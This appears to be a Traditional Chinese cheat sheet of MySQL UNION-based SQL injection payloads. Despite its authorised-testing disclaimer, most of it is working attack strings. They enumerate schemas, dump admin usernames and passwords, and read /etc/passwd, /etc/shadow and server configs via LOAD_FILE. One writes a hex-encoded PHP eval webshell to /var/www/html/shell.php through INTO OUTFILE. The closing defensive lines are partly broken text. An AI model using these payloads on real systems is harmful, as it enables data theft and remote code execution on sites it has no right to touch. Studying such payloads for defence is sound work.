本文僅供**安全研究、滲透測試授權範圍、程式碼審計**參考,**嚴禁用於非授權系統攻擊**。理解攻擊向量才能建立有效防禦(參數化查詢、WAF 規則、最小權限、審計日誌)。
| Payload | 目的 | 解析 |
|---|---|---|
AND ORD(MID(VERSION(),1,1))>51 | 判斷版本 ≥ 4.0(支援 UNION) | ORD() 取 ASCII,MID() 截取,VERSION() 返回版本字串 |
UNION SELECT 1,1,1... | 探測欄位數 | 遞增數字直到不報錯 |
ORDER BY 13 | 探測欄位數(替代法) | 遞增直到報錯,前一數即欄位數 |
UNION SELECT 1,2,3... FROM admin | 驗證表名存在 | 回顯位置判斷可注入欄位 |
-- 爆資料庫版本
UNION SELECT 1,VERSION(),3... FROM admin
-- 爆當前庫/用戶
UNION SELECT 1,DATABASE(),3... FROM admin
UNION SELECT 1,USER(),3... FROM admin
-- 爆作業系統
UNION SELECT 1,@@GLOBAL.VERSION_COMPILE_OS,3... FROM mysql.user
-- 爆表名(MySQL 5+ information_schema)
UNION SELECT 1,TABLE_NAME,3... FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DB_HEX LIMIT 0,1
-- 爆欄位名
UNION SELECT 1,COLUMN_NAME,3... FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=TBL_HEX LIMIT 0,1
-- 爆資料
UNION SELECT 1,username,3,password... FROM admin LIMIT 0,1
-- 合併顯示(單欄位回顯兩值)
UNION SELECT 1,CONCAT(username,0x3c,password),3... FROM admin LIMIT 0,1
-- 讀取文本檔(需 FILE 權限、secure_file_priv 允許)
LOAD_FILE(0x2F6574632F706173737764) -- /etc/passwd
LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100))
-- 替換特殊字符避免瀏覽器吞標籤
REPLACE(LOAD_FILE(...), CHAR(60), CHAR(32)) -- < → 空格
常見敏感路徑:
/etc/passwd、/etc/shadow、/usr/local/apache/conf/httpd.conf、/usr/local/nginx/conf/nginx.conf、/etc/my.cnfC:\Windows\System32\inetsrv\MetaBase.xml、C:\boot.ini、C:\mysql\data\mysql\user.MYD/usr/local/resin/conf/resin.conf-- 前提:FILE 權限、知物理路徑、secure_file_priv 允許、GPC OFF
SELECT '' INTO OUTFILE '/var/www/html/shell.php'
-- Hex 編碼繞過引號過濾
SELECT 0x3C3F706870206576616C28245F504F53545B636D645D293F3E INTO OUTFILE '/var/www/html/shell.php'
錯誤:Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
解法:UNHEX(HEX(payload)) 包裹所有回顯欄位。
UNION SELECT 1,UNHEX(HEX(LOAD_FILE(0x...))),3,UNHEX(HEX(USER()))
NULL 禁用 LOAD_FILE/INTO OUTFILE。general_log 或审計插件,記錄所有 SQL 供事後溯源。安全是系統工程,**參數化查詢是銀彈**,其餘皆為纏深度防禦層。